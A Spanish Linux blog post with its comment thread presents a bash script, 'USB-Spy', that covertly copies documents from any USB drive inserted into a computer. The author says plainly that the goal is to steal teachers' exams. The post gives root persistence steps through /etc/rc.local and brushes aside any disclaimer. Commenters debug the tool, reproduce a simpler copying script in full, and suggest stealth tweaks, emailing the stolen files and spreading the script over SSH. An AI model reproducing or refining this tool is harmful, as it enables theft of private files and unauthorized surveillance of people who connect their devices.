Script para espiar el contenido de dispositivos USB y copiarlo a la PC

Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así. Cuando estudiaba en la enseñanza media (especialidad informática) deseé programar “algo” que hiciera lo siguiente:

  1. Detecte cuando se conecta un dispositivo USB en el ordenador de la clase
  2. Copie todo el contenido de ese dispositivo hacia el ordenador

Esto me permitiría tener el examen mucho tiempo antes, solo sería necesario que el profesor conectara su memoria USB (pendrive) en el ordenador y listo.

Desafortunadamente en mi instituto los ordenadores tenían Windows y … yo jamás y nunca aprendí a programar para este OS.

No obstante ahora uso Linux (obvio no? LOL!), y con los conocimientos que a lo largo de estos años he podido ir adquiriendo, ahora SÍ! ya puedo lograr esto con Linux :D

O sea, he programado un simple script que hace lo siguiente:

1. Crea la carpeta /home/.USBDRIVES/
2. Está comprobando cada 5 segundos si hay algún dispositivo USB (o CD/DVD) conectado al ordenador.
3. En caso de que esté alguno conectado, creará una carpeta dentro de /home/.USBDRIVES/ con el nombre del USB (por ejemplo: memoria-2gb) y además, copiará todos los archivos .doc, .pdf, etc (aquí el listado) hacia esta carpeta que recién acaba de crear.
4. En caso de que no haya ningún USB conectado, simplemente esperará 5 segundos para volver a iniciar la comprobación que expliqué arriba :D

Aquí les dejo el script y el archivo que contiene los formatos que se copiarán:

Descargar USB-Spy.sh

Descargar USB-Spy Files

El script debe ser ejecutado como root para que su funcionamiento no se vea limitado. Acá explico cómo lograr esto

Para que el script pueda funcionar sin ningún tipo de problemas, lo mejor es que sea iniciado con privilegios administrativos (root), así como es obvio que se necesita que se inicie junto al ordenador, de esta forma nos aseguramos que si el ordenador es reiniciado o apagado, cuando vuelva a iniciar el script estará ahí funcionando, listo para extraer de cualquier USB lo que deseamos ;)

Vamos a abrir una terminal… una vez abierta…

1. Supongamos que tenemos ambos archivos en /opt/ (/opt/usb-spy.sh y /opt/usb-spy.files), debemos darle privilegios de ejecución:

sudo chmod +x /opt/usb-spy.sh

2. Abrimos el archivo /etc/rc.local :

sudo nano /etc/rc.local

3. En él escribimos arriba de la línea final (exit 0) lo siguiente:

/opt/usb-spy.sh &

4. Ahora presionamos [Ctrl]+[X] para guardar y salir del archivo, presionamos [S] o [Y] (en dependencia del idioma del sistema) y luego [Enter]. Esto bastará para que se guarden los cambios que hicimos.

Y listo, esto bastará para que el script se inicie como root cuando encendamos el ordenador.

Es importante verificar que el archivo usb-spy.files esté en el mismo directorio de usb-spy.sh ;)

Ahora… explicaré un poco el funcionamiento interno del script, pues sé que hay muchos amantes de Bash por acá :D

Q: ¿Cómo el script sabe que hay un dispositivo USB conectado?
A: En el archivo /etc/mtab de nuestro sistema se encuentran los dispositivos o particiones que están montadas en nuesto sistema. Mediante la línea 23 del script se sabe si hay un USB conectado o no (haciendo cat al mtab y grep media)
Q: Sí, pero ¿cómo el script sabe si el cat y grep nos devuelve algún dato o no?
A: Mediante un ciclo if, then, else que empieza en la línea 24.
Q: ¿Cómo hacer que copie solamente los archivos con extensiones deseadas? (.doc, .pdf, etc)
A: Mediante rsync con varios parámetros, esto es en la línea 34. Explicado de forma simple, con rsync copio solamente los archivos que coincidan con el filtro usb-spy.files, cada línea es un filtro por así decirlo. Además le paso el parámetro --prune-empty-dirs a rsync para que no me cree directorios vacíos.
Por cierto algo importante. Si se conecta un dispositivo USB de 8GB (por ejemplo) todo funciona de forma correcta, pero me percaté que si se conecta algún dispositivo de mucha más capacidad, como 500GB o 1TB el proceso de buscar archivos .doc y etc para copiarlos al ordenador demoraba mucho tiempo, por lo que puse un límite de GB. O sea, en la línea 31 declaro que si el dispositivo USB es menor de 16GB, entonces busca los archivos y copialos, pero si es mayor de 16GB entonces no hagas nada. Si desean aumentar esos 16GB por 32GB, solo aumenten ese número de la línea 31

No hay mucho que explicar en realidad, el script es realmente simple de entender :)

Si alguien tiene cualquier duda o pregunta, queja, idea o sugerencia por favor, que lo diga y prometo ayudarles en todo cuanto pueda.

Y bueno, estaba pensando poner algo como: “este script solo es para propósitos educativos, no usar con files dañinos” … pero… qué demonios!, úsenlo para lo que deseen, es hora de que los estudiantes tengamos algún tipo de ventaja contra los profesores que nos oprimen :D

Saludos

Aún se le pueden hacer múltiples mejoras al script, pero bueno esto es un buen inicio creo yo, si alguien se siente motivado a contribuir a esta “noble” causa será un placer :D


KZKG^Gaara

KZKG^Gaara: Usuario de GNU/Linux y administrador de red desde hace algunos años. Intento mantenerme en el lado oscuro de la fuerza, pues es donde está lo divertido de la vida. Administrador y Fundador de todo esto que ven, pero uno más dentro de la familia.


72 comentarios en “Script para espiar el contenido de dispositivos USB y copiarlo a la PC

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Current ye@r *

  1. Tramposo ¬¬

    XDDDD

    1/71
  2. Linux es el 1% y dices que nunca aprendiste a programar para windows asi que el tuto es para un sistema linux, mi pregunta es: ¿que posibilidad hay en encontrar un profe que use linux para poder llevar a cabo el tuto?

    3/71
    • Este script o truco se “implementa” en un ordenador que no necesariamente tiene que ser el personal o propio del profesor, basta con que sea un ordenador cualquiera de una Universidad o Colegio, luego solo quedaría lograr por X o Y motivo que el profesor conecte su USB en ese ordenador.

      Sí, es para Linux, pero muchas universidades tienen Linux como sistema en laboratorios de ordenadores, así como también se podría bootear con un LiveCD y no necesariamente instalar Linux en el PC :)

      Sobre lo del 1%, te recomiendo leer este post: http://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

      4/71
    • La posibilidad de que un Meteorito gigante caiga sobre el Atlantico en aproximadamente 30 min

      16/71
  3. Se ve interesante, habrá que probarlo.
    Gracias

    5/71
    • La utilidad que tiene no es la gran cosa, pero el script como tal está interesante… pues se pueden aprender varios tips de él, por ejemplo el cómo saber los USB conectados, tamaño de particiones, etc :)

      6/71
  4. Un artículo original y muy bien explicado KZKG^Gaara. Saludos!

    7/71
  5. Que desfachatez!!!, y te atreves a escribirlo en el blog O-O, no se que pensar, será que hackeron a Gaara algién que no lo quiere bien?

    8/71
    • ¿desfachatez? ¿por qué?
      Si bien el propósito o motivo del script puede no resultar algo tan serio como el resto de mis aportes, el script, sus líneas y lógica de programación sí que tiene mucho que aportar pienso yo.

      De este script se pueden aprovechar varias cosas:
      1. El cómo saber el tamaño de una partición y que esto sea una variable.
      2. El cómo comprobar si existe un USB conectado y extraer su path y nombre.
      3. Ciclos if-then-else y while.

      En fin, que no creo que esto sea algo del todo useless o algo así.

      11/71
      • Creo que tu interpretas mal mi comentario, yo me refiero al inicio de tu articulo,
        “Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así.”. Si te molesto lo que exprese, espero me disculpes, no fue mi intención.

        14/71
      • o.O qué excelente blog, buenos artículos, buenos lectores, los usuarios se disculpan… es el paraíso jejeje libre de trolls.

        15/71
      • Gracias ^-^
        Estamos orgullosos de lo que hemos logrado hasta ahora, esta comunidad es de veras un orgullo… es genial formar parte de todo esto :D

        22/71
      • No no no para nada, en realidad no me molesté ni mucho menos xD
        Y síp jeje fue mi error por malinterpretar tu comentario jejeje, sorry por eso ;)

        Nada que las disculpas vienen de mi parte ahora, tendré que lavarme la cara a ver si termino de despertarme que … por lo que veo, aún no ando al 100% JAJAJA.

        Saludos amigo :)

        19/71
      • Finísima persona xD

        27/71
  6. Me gustaría q los ordenadores de mi facultad tengan Linux muhahahjaja.

    10/71
  7. Buen Articulo!
    Pero al que quiera imitarlo en Windows va a ser más fácil, porque a donde en la máquina que quieras usarlo no tengas acceso al root no podes dejarlo “para siempre”. Con Windows eso no pasa ;)

    12/71
  8. Muy bueno jeje.

    13/71
  9. La idea es buena solo tiene la debilidad de tener que usar privilegios de Root

    17/71
    • Bueno, en realidad no necesita ser root como tal … si se le declara al script que la carpeta NO será /home/.USBDRIVES como le puse yo, y se le pone por ejemplo: /home/usuario/.USBDRIVES … entonces ejecutando el script con “usuario” bastará :D

      20/71
  10. Es buena idea, pero creo que te ahorrarias modificar el rc.local y correrlo cada minuto mediante crontab, y así te evitas el problema de correrlo como root y lo demás, por otro lado, aunque no afecte mucho, consumes memoria de la pc inutilmente cada 5 segundos para verificar si esta la usb, aun cuando no esté. Bueno ese es mi punto de vista

    18/71
    • O sea, hacer una comprobación cada 1 minuto no? No lo hice así porque… ¿y si se conecta y desconecta un USB en menos de 1 minuto? :D

      Preferí hacerlo cada 5 segundos para asegurar de veras “capturar” todos los USB ;)

      Si te entendí mal, por favor corrígeme :)

      Saludos y bienvenido.

      21/71
      • Si, hacer la comprobación cada minuto a través de cron, pero bueno cada uno tiene una forma distinta de ver el problema, nada mas que viendo el codigo, no sería mejor verificar si ya existe la carpeta de /home/.USBDRIVES antes de crearla, es una sugerencia nada mas

        Saludos

        23/71
      • Sí también, es un detalle del que me percaté pero… me dió vagancia solucionarlo LOL!

        Igual podría poner un log donde se muestren los archivos que se han copiado (log individual para cada dispositivo), tal vez inclusive enviar mediante email este log (usando algún método de enviar email por terminal de los que he puesto acá en el sitio) … pero como te dije, me da un poco de pereza ^-^U

        24/71
  11. Jajajaja genial.

    25/71
  12. ¡Ajá! O sea que tu software puede ser usado para el mal. ¡Jajajaja!!! :)

    Está bien el truco, pero… ¿y si se quiere desmontar el USB antes de que el script termine de copiar su contenido? En ese caso se quejará de que está en uso y se notará que hay algo raro. :)

    26/71
  13. Me hiciste recordar una vez que hice algo similar ( en mi Uni si teniamos linux/windows), pero yo hice un programa en C que generaba miles de carpetas. Le tapicé la USB a un chavo que la conectó. El encargado del centro de cómputo estaba asombrado! Creyó encontrar un virus en linuxx muajajajaja … ahhh .. que tiempos aquellos =)

    28/71
  14. A mi no me acaba de funcionar xD, si lo intento ejecutar desde la terminal me dice esto: ./usb-spy.sh: line 31: [: -lt: unary operator expected
    Parece que hay algún problema con esta línea: if [ $USBSIZE -lt 15664800 ]; then
    Pero no sé cual es, porque no crea además el directorio .USB.

    Si se puede resolver puede resultarme un script útil.

    29/71
    • Prueba a reemplazar df por /bin/df y asegurate de lanzarlo como root.

      30/71
      • Vale, ahora si crea la el la carpeta .USB dentro de el directorio home, pero me sigue diciendo por la terminal que: “./usb-spy.sh: line 31: [: -lt: unary operator expected” y no copia nada, en esa línea tiene que haber algún conflicto, agradezco la ayuda si alguien lo ve.
        Muchas gracias.

        31/71
      • ¿Puedes ponernos el contenido de tu fichero /etc/mtab cuando el USB está montado?

        32/71
      • Claro, aquí va:

        /dev/sda12 / ext4 rw,errors=remount-ro 0 0
        proc /proc proc rw,noexec,nosuid,nodev 0 0
        sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
        none /sys/fs/fuse/connections fusectl rw 0 0
        none /sys/kernel/debug debugfs rw 0 0
        none /sys/kernel/security securityfs rw 0 0
        udev /dev devtmpfs rw,mode=0755 0 0
        devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=0620 0 0
        tmpfs /run tmpfs rw,noexec,nosuid,size=10%,mode=0755 0 0
        none /run/lock tmpfs rw,noexec,nosuid,nodev,size=5242880 0 0
        none /run/shm tmpfs rw,nosuid,nodev 0 0
        binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0
        /dev/sdb1 /media/DOCU403 vfat rw,nosuid,nodev,uid=1000,gid=1000,shortname=m$

        Las últimas líneas son las del USB montado /dev/sdb1

        34/71
      • A ver si lo conseguimos. :)

        Ponnos la salida del comando df. Y prueba a añadir la linea:

        echo $USBSIZE

        Justo delante del if que dá el problema y dinos lo que sale al lanzar el script. Tiene que quedar algo como esto:

        USBSIZE=`/bin/df | grep $USBDEV | awk {‘print $2′}`
        echo $USBSIZE
        if [ $USBSIZE -lt 15664800 ]; then

        Y por si acaso, dinos también cuál es la salida del comando which df.

        35/71
      • Vale, por partes, el comando df me devuelve esto:

        Filesystem 1K-blocks Used Available Use% Mounted on
        /dev/sda12 54082300 45246956 6125892 89% /
        udev 2004028 4 2004024 1% /dev
        tmpfs 805768 1180 804588 1% /run
        none 5120 0 5120 0% /run/lock
        none 2014420 92 2014328 1% /run/shm
        /dev/sdb1 1023200 322256 700944 32%/media/DOCU 3

        El comando which df me devuelve: /bin/df

        Luego, he puesto lo de echo $USBSIZE, y el resultado es el mismo, no me imprime nada nuevo, sino el error de antes, lo curioso es que eso ocurre con el USB que estoy probando, si pongo el disco duro externo de 500GB si que me devuelve por pantalla el tamaño del disco, pero los 500 exceden a los 16 del if por tanto con el disco duro no hace nada.

        Pero con el USB no hace nada, más que mostrar el error: ./usb-spy.sh: line 34: [: -lt: unary operator expected
        Es como si no pudiera mostrar el tamaño del USB, pero con el comando df si que me sale su tamaño.

        Gracias por la ayuda, a ver si lo podemos conseguir!!.

        36/71
      • Por si acaso lo del comando no se viera bien aquí dejo un pantallazo: http://i48.tinypic.com/j5dvn5.jpg

        37/71
      • Veo que en el mtab la ruta en la que aparece montado es “/media/DOCU403″ mientras que en df aparece “/media/DOCU 3″. Esto hace que grep no lo encuentre y no devuelva el tamaño. Prueba a cambiar las primeras lineas del for de manera que queden así:

        for USBD in `cat /etc/mtab | grep media | awk ‘{print $1}’` ;
        do
        USBDEV=`cat /etc/mtab | grep $USBD | awk ‘{print $2}’`
        USBSIZE=`/bin/df | grep $USBD | awk {‘print $2′}`

        Los cambios consisten en cambiar el nombre de la variable del for por USBD, cambiar el $2 del final de la linea del for por $1, insertar la linea que empieza por USBDEV justo después del do y cambiar USBDEV por USBD en la linea que empieza por USBSIZE… espero no haberme liado. :)

        La idea es hacer el for por el nombre del dispositivo en vez de por el punto de montaje.

        39/71
      • El problema era que en el mtab cuando un dispositivo tiene espacios… pone unos caracteres “extraños” en la línea, específicamente en el lugar del espacio.

        Nada, tan simple de solucionar como cambiar la forma en que se designa $USBDEV, en la línea 28 cambiarla y ponerla así:
        for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

        :D

        47/71
      • Déjeme ver si los puedo ayudar…

        El operador unario lo muestra porque no localiza el tamaño del disco,esto pasa porque no lo checa,esto pasa porque se llama

        DOCU 3

        y lo toma como dos valores,si fuera DOCU no abría problema

        Tal vez les funcione esto

        http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

        Un Saludo :)

        42/71
      • Efectivamente ese es el problema, porque acabo de probar con otros USB que tienen un nombre con una palabra sin espacios, ejemplo “clases” y el script funciona sin problemas, por eso reconocía el disco duro y no las memorias, pero ahora la cosa está en saber como pongo yo las comillas en el código del script, ¿se las tengo que poner a “$USBNAME”?.

        Muchas gracias a Atheyus y a Hexborg por la ayuda, ya casi está conseguido.

        43/71
      • En realidad Semproms es super simple de arreglar ;)
        La línea 28 … cámbiala por esta:
        for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

        Acabo de hacer la prueba con este cambio y funciona bien con dispositivos cuyo label/nombre tenga un espacio ;)

        Ahora haré el cambio en el script para descargar.

        46/71
      • Muy bueno. Así sí que es sencillo de arreglar. :)

        54/71
  15. Ohhh, muy ingenioso :D Tomaré nota por si me llega a hacer falta…

    40/71
  16. KZKG^Gaara, con ese arreglo funciona perfectamente, ahora si que copia de los USB con espacio en el nombre, muchas gracias a todos por la ayuda, voy a probar a ver si puedo hacer que se ejecute con el arranque del sistema y que así que vaya comprobando a cada ciclo si hay algún USB conectado.

    Al final lo hemos conseguido xD.

    48/71
    • ^-^ … un gusto jeje.
      El problema era que yo usaba mtab para reconocer los USB pudiendo haber usado simplemente df … usé mtab porque pensé que sería interesante explicarles este archivo, que lo conocieran, pero no preví que sucedería este error con dispositivos con espacios jejeje.

      Cualquier duda o problema lo dejas dicho, a casi todos por acá nos gusta ayudar xD

      Saludos

      49/71
    • Por supuesto. Somos linuxeros. Siempre lo conseguimos. XD.

      55/71
  17. Instalarle un demonio a la PC del profesor que genere un registro de todos los .doc, .docx, .odt, .pdf y te los mande por mail. Así como que escanee la PC cada cierto tiempo en busca de cambios, nuevos ficheros o eliminaciones en dicho regsitro, y anet cualquier novedad te envíe el fichero modificado o nuevo por mail también.

    50/71
  18. Igual, creo que más que una pillada, ejecutar ese script (Y COMO ROOT !!!!) es un suicidio. Le estás facilitando la vida y las cosas en un 700% a cualquiera interesado en insertar un fichero en tu PC con permisos de root y todo. Acuérdate que en Linux no existen las extensiones y que un .doc en linux puede ser lo mismo un texto, que un video o peor aún, un script (esta vez con muy malas intenciones).

    51/71
    • Ejecutarlo como root no es completamente necesario, basta con definir la carpeta donde se pondrá el contenido en algún lugar que el usuario que ejecuta tenga permisos de escritura (por ejemplo, su propio home) y listo :)

      Sobre lo archivos peligrosos … bueno, se podría agregar unas líneas que le harían un chmod -x a todos los archivos, así perderían la propiedad de ejecución.

      52/71
      • He añadido estas líneas al inicio para que borre la carpeta .USBDRIVES en el caso de que ya estuviera creada:

        if [ -s $PLACE ]
        then rm -r $PLACE
        fi

        así no dará el error de “directorio ya existente”, eso si hay que tener cuidado de que en la carpeta .USBDRIVES no haya nada que no queramos que se borre, porque la va a borrar y poner otra en su lugar.

        53/71
  19. Para agregar nuevos formatos de archivo, basta con escribirlos en usb-spy? por ejemplo .jpg .mp3 etc.

    57/71
  20. Firefox 3.6.13GNU/Linux
    Wuilmer Bolivar

    Si estamos en la misma red, y existe una maquina del profesor, lo interesante seria hacer un mapeo de red, puede que tengamos ssh en las maquinas y de esa manera distribuir el código en las maquinas del laboratorio o incluso en la maquina del profesor…. Esto me da taaantas ideas :$

    59/71
  21. Hola , te felicito por el post y todos tus aportes , pero tengo una consulta , a ver si alguien me puede solucionar este problema:

    Estube probando tu script en una pc con ubuntu 12.04LTS ( con Unity) y funciono perfecto , pero como veia que se ejaba de ejecutar el este script luego de la primera vez que esra ejecutado , debido a que ya estaba creada la carpeta .USBDRIVES , decidi usar directamente el este otro script de tu autoria que estaba posteado en otra parte de este foro

    aca copio el script para que te ubiques

    #!/bin/bash
    #
    # -*- ENCODING: UTF-8 -*-
    # Este programa es software libre. Puede redistribuirlo y/o
    # modificarlo bajo los términos de la Licencia Pública General
    # de GNU según es publicada por la Free Software Foundation,
    # bien de la versi’n 2 de dicha Licencia o bien (según su
    # elección) de cualquier versión posterior.
    #
    # Si usted hace alguna modificación en esta aplicación,
    # deberá siempre mencionar al autor original de la misma.
    #
    # Copyleft 2012, DesdeLinux.net {Ciudad Habana, Cuba}.
    # Autor: KZKG^Gaara

    WHILE=0

    while [ $CONTROL=0 ] ; do
    cat /etc/mtab | grep media >> /dev/null
    if [ $? -ne 0 ]; then
    CONTADOR=0
    else
    CONTADOR=1
    : ${USBDEV:=`cat /etc/mtab | grep media | awk ‘{print $2}’`”/”}
    cp $USBDEV/* /home/
    fi
    sleep 5
    done

    exit 0

    El tema es el siguiente en ubuntu12.04 lts unity ese ultimo scritp corre bien y funciona pero al hacerle un downgrade a la misma pc por “x” motivo ,y tratar de hacerlo funcionar en ubuntu 10.10 no ,lo puedo hacer funcionar
    por un lado me tira error y no me lee los pendrives que tienen nombre compuesto por ej : DATA-G , ni tampoco me copia los archivos que tienen nombre compuesto . A parte de este problema tengo el problema que solo se ejecuta el script al reiniciarla la pc una sola ves .

    La pregunta seria : como puedo hacer que ese script me copie pendrives y archivos con nombre compuesto
    y si usando crontab o puedo programar para que funcione en un determinado momento

    Otro detalle , en ubuntu 10.10 , como usa Gnome quisiera agregar algunas acotaciones para tengan en cuenta , al darle privilegios de ejecucion a un script , este debe estar ubicado en /etc/init.d no en /etc/
    (tener en cuenta que hay que pegarlo ahi llegando desde terminal con sudo nautilus)

    por otro lado otra acotacion seria que luego de pegarlo ahi para saber si se puede ejecutar hay que hacer en otro terminal

    sudo su ( para ser root)
    password

    ls

    cd /etc/ init.d

    ls -l

    y ahi nos salta si esta en ejecucion o no

    luego en el mismo terminal o en otro terminal en otro momento estando como root y estando en etc/init.d(osea hasta el paso cd/etc/init.d) como en el anterio terminal seguimos de la siguiente forma para darle permisos de ejecucion

    sudo chmod +x script.sh

    update -rc.d script.sh defaults 80

    reboot

    repito eso es para que se autoejecute en ubuntu 10.10 si es otra version como la 12.04 hay que hacer lo que dice KZKG^Gaara

    Y una ultima pregunta como me interesa que se copie el contenido ( hasta de3 subcarpetas del pendrive) al home o a una carpeta en el home oculta o no , supongamos que fuera .USBDRIVES
    en el codigo no tendria que decir

    cp -r /media/*/*/*/home/.USBDRIVES/*

    En definitiva para conseguir lo que quiero como tendria que quedarme el script ?
    porque ya intente modificar la linea que le modificaron al usb-spy sh pero a ese otro que graba directamente en home y me tira erro en la linea modificada .? Saludos . Gracias

    60/71
  22. yo no puedo bajar el segundo script

    61/71
  23. Muy bueno. ;)

    63/71
  24. ¿Y si no hago los pasos que pones que pasa? ¿No se ejecuta o simplemente se ejecuta pero sin root? ¿Si los ordenadores tienen un sistema que digamos restaura toda la configuración interna del ordenador al apagarlo funcionará? Gracias.

    64/71
    • En el caso de que el sistema tenga ‘algo’ que vuelva a poner por default la carpeta /home/ entonces debes modificar el script, donde dice /home/ cambiarlo por /opt/ o alguna otra carpeta que no se vea afectada.

      65/71
  25. Creo que para mejorar el script y evitar que se note la intromisión en el pendrive lo óptimo consitiría en que se priorice tipo, tamaño del archivo. Por ejemplo dejar para el final archivos voluminosos de 100 megas o más. O primero copiar archivos doc, docx, txt, pdf, xml,… etc etc etc y dejar para el final archivos avi, mp4, mkv…

    66/71
  26. Hola, esta buena la idea. quería hacer dos preguntas:
    – Se puede hacer a la inversa? hacer un scrip para el penderiver, que este se conecte en cualquier maquina y extraiga archivos.
    – sirve para SO Windows?

    67/71
    • Hola,

      No estoy seguro de cómo se podría hacer que al conectar el pendrive, el mismo pendrive auto-ejecute un script que tenga dentro.

      Y no, este script no sirve para Windows :)

      68/71
  27. Que buen script. He estado analizandolo, y me parece una pasada, ojala algun dia yo tambien pudiera hacer scripts tan practicos asi.

    70/71
  28. Excelente aporte, aunque la utilidad que le dare no es exactamente para lo que lo planteaste, si lo uso para respaldos de archivos de un grupo de usuarios mala conducta que tengo… jejejeje….

    71/71

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Current ye@r *